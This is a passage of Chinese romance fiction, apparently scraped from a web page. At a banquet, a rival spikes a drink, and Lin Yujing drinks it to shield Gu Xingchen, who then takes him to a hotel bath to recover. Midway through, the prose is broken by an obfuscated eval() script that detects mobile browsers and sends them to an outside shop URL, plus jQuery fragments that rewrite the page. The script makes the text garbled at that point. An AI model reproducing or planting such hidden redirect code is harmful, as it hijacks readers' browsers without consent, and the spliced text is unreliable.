还有十几分钟就到七点。
那些被宴请的客人来得七七八八,这会要么和认识的聚在一起聊天,要么就找机会和上一层进行攀谈,也有一些二世祖在打量那些如花一般的少男少女。
顾星辰几乎是在裴沫话落后就看过去,话里的主角拿着酒杯,嘴上挂着一如既往讨人厌的笑,此刻已经越过林瑜景,距离二人只剩三四步距离。
是北家最近闹得沸沸扬扬的人物,北老爷子的私生子——北战野。
北老爷子也是人老心不老,将近五十岁搞出来一个私生子,原配走后没几年就把私生子和小三带回北家。那小三还没北老头大儿子大,北战野也只比大孙子长两岁。
北家当时就闹过一场,全北城谁不知道这段风流往事。
北老爷子这么多年一直很疼爱这个老来子,除了公司上的事情,其余全依北战野。宠溺之下必然养歪,早几年还打过顾星辰主意,被顾星辰找人蒙住脑袋打了一顿,后面遇到顾星辰才稍微老实一些。
据说前几个月,北战野搞事情,把自家大哥斗下去,现在北家上下由北战野做主。
北老头不仅不生气,反而觉得小儿子有能力有手段,自家大儿子废物看不住公司。
反正闹得不比二十多年那场小。
顾星辰本就讨厌他,这会见他走过来更是没有好脸色。
北战野倒是很没眼力见,自顾自拦着人说:“顾星辰,好久不见,喝一杯?”
他将手上的红酒杯递到顾星辰面前,顾星辰没接。
他也不尴尬,也没将酒杯收回来,反而笑着反问:“怎么,顾小姐是不给面子?”
顾星辰以前是顾家大小姐,可以不给她面子。
现在么。
北战野的目光上下打量起顾星辰,仿佛在看一个唾手可得的玩具或小鸟儿。
那目前让顾星辰觉得恶心,她还没来得及说话,林瑜景走到二人中间,挡住北战野讨人厌的目光,手上动作更是迅速,接过那玻璃酒杯一口将里面的红酒喝光。
喝完也不说话,就固执地站在那儿。
北战野脸色瞬间阴沉,他盯着挡人的林瑜景磨磨后槽牙,声音从牙缝里挤出:“你又是谁,知道我是谁吗,就敢从我手上抢东西。”
这个东西可以是酒杯,也可以是被护住的顾星辰。
林瑜景听出话外之音,双手握拳想要揍他,被身后的顾星辰握住。
他冷静下来。
现在还在宴会上,宋老爷子马上要讲话。这会闹起来,不管错在谁那儿,最后被拿出来当笑柄的总是女孩子。
平复好心情,目光在人群里扫一圈,手指着爸爸所在位置,皮笑肉不笑道:“我爸是顾南衡。”
北站野长这么大,虽然因为私生子身份没少人在背地里说他闲话,但碍于老爷子的关系,这么多年也只有一个顾星辰不给他面子,现在又多一个。
这该死的顾家莫不是克他。
偏偏他还拿顾家没法子。
再一次吃瘪的他盯着林瑜景手里的酒杯意味不明一笑,硬生生把那口气憋回去。
“原来是顾少爷,你别误会,我呢只是想和辰辰叙叙旧……”
话未说完,被另一道冷冰冰的声音阻断:“我和北少爷不熟,没什么好叙旧。”
看够热闹的裴沫站起身说:“宋爷爷要讲话了,我们要过去找爸妈,先失陪了北少爷。”
说完三人也不管北战野脸色如何,动作一致地将杯子放到面前的桌上,转身往宴会中央走去。
宋老爷子话不多,才三分钟宴会就开启。
顾星辰吃了几口不一样的肉食,又喝了一碗燕窝粥,准备去拿甜品时瞥到跟在自己身侧的林瑜景不太对劲。
宴会厅里开着地暖,虽然很暖和,可没暖和到让人出汗的程度。
而且他的脸色也不正常,有点红,不像是喝多后的红晕。
她一把拽住他的手腕。
很烫,像是摸着一块软乎乎的烤地瓜。
林瑜景也察觉到自己状态不对,莫名其妙的热和口渴,最开始还可以控制,可随着手腕被顾星辰握住,两人相贴的肌肤在短暂的冰凉后,随即涌上的是一股火,灼得林瑜景口干舌燥。
身体更是怪异地迫使他想要更多的肌肤相贴。
他靠着意志力维持清晰,将另一只手按在顾星辰握住自己的手的手背上,然后用力拿开。
“辰辰,刚刚那杯酒应该是加料了,帮我和爸妈说一声,我先回去。”
顾星辰看他那反应也猜到原因出在那杯酒上。
也难怪北站野今天不过多纠缠,还以为是长脑子知道不能在宋老爷子宴会上闹,原来是没有脑子。
见林瑜景走路摇摇晃晃,她赶紧跟上去,一把握住林瑜景的手腕。
“装醉,剩下的交给我。”
林瑜景众多优点里有一条就是听话。
顾星辰带着他找到爸妈,只说林瑜景酒量一般,喝多了,她们先回家。
顾南衡和楚心玥见林瑜景一脸通红,乖乖搭着顾星辰,点点头交代回去路上慢点。
两人艰难走出大厅,直到上车后林瑜景紧绷的心弦才松懈下来。随之而来的就是身体上的烈火,几乎要将他的理智灼烧。
从后视镜看到林瑜景现下模样,顾星辰明白这人是等不到她开车回家看家庭医生。
虽然这附近有医院,但林瑜景毕竟是个有点热度的歌星。要是被人拍到这副模样,对他的工作有影响。
简单考虑后,顾星辰启动车子,将人送往最近的顾家酒店。
从上车到抵达酒店总统套房,不过十分钟。
林瑜景保持的最后一丝理智在被人丢进装满水的浴缸里荡然无存。
黑色的西装外套早就丢在车上,原本一丝不苟的黑色马甲这会被他自己抓得皱巴巴,酒红色的衬衫袖子被高高拉到小臂上,被浴缸里的水浸染出更深色的红。
冷水刺激着感官,林瑜景双眼迷离,水润的唇张张合合,细碎的声音从牙缝里挤出:“辰辰,热,水。”
顾星辰赶紧出去给他倒了杯温水。
等她拿着温水回到浴室,原本身上还算齐整的林瑜景,这会马甲被扯开丢在浴缸边上,酒红色的衬衫下摆从西装裤里拽出,扣子也只剩下最后两颗在坚守。
还未分手那几年,顾星辰从来不亏待自己,早就给人吃干抹净,但也从来没见过林瑜景这副模样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965047|214465||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
绯红的脸颊,被水打湿后凌乱的碎发,迷离没有聚焦的双眼以及那若隐若现的八块腹肌。
顾星辰听到自己“咕嘟”咽口水的声音。
浴室里的温度莫名升高,伴随的酒精的作用,顾星辰觉得自己有点热。
抿了口杯子里的温水,下一秒才想起来这水是给林瑜景拿的,于是走上前蹲下身将杯子递过去。
林瑜景脑子一片混沌,递到嘴边的水也需要人托着脸颊才能喝下去。
一杯水喝得断断续续,绝大部分还都顺着嘴角一路蜿蜒到坚硬的腹肌上。
顾星辰没忍住伸手擦了擦。
一片滚烫。
林瑜景喝完一杯水,理智回笼。看到面前蹲着的是顾星辰,张口说:“辰辰,我自己可以,你出去吧,免得给你裙子打湿了。”
顾星辰不放心,林瑜景接着劝道:“有事我会喊你。”
“那我再给你倒杯水,喝完看看情况。”
林瑜景点点头,将自己往浴缸里缩了缩。
第二杯水进肚子后,脑子便更加清明。
顾星辰见状这才放心出去。
这间房间是专门留给顾星辰使用,更衣间里放有许多顾星辰尺码的衣裳,以备不时之需。
刚刚在浴室,为了让林瑜景能以舒适的姿势躺在浴缸里不掉下去,裙摆其实已经被打湿。
在更衣间换上舒适的休闲装,再次进入浴室时,林瑜景脸色已经没有那么潮红,眼神也不似刚才那么迷离。
恒温浴缸,又开着空调,顾星辰不担心林瑜景会泡感冒。
更衣间里没有林瑜景的衣裳,但有好几套干净的浴袍,顾星辰拿了一件搭在边上:“一会我让人送一套衣服过来,你泡完澡先穿这个。”
林瑜景点点头:“行,辛苦辰辰。”
顾星辰摇摇头:“本来那杯酒是你替我喝的。”
林瑜景声音有些沙哑,像是有小猫在挠:“我如果没有抢走,你也不一定会喝。”
听他这么说,顾星辰没忍住在他脑袋上轻轻一敲:“知道你还喝,长长记性,以后就知道陌生人递过来的东西不能入口。”
“我看你挺清醒,把衣服脱了再泡十分钟就可以出来了,别感冒了。”
林瑜景不敢说其他的,只点着脑袋应:“知道了。”
酒店工作人员很迅速,在林瑜景泡完澡之前就把衣服送过来。
等林瑜景泡好澡,顾星辰比着一处说:“把头发吹干,今晚你没吃什么东西,让人送了一些。头发吹干后吃点东西,然后回去,应该能赶在爸妈之前到家。”
必须赶在爸妈之前到家。
不然解释不清楚为什么带着林瑜景这个醉鬼,不回家反而去酒店。
短头发吹得很快,吹干后林瑜景老老实实坐在餐桌边拿起碗喝汤。
今晚在宴会上的确没吃什么东西,刚刚这么一折腾,还真有点饿。
一碗汤下肚,吃了几口鱼肉和牛肉,那股熟悉的燥热又一次上涌。
顾星辰就坐在他对面,见他这样气得骂道:“北战野这狗东西,这药劲居然还没下去。”
林瑜景起身,跌跌撞撞往浴室走,生怕晚一步理智被心里头那股火烧尽。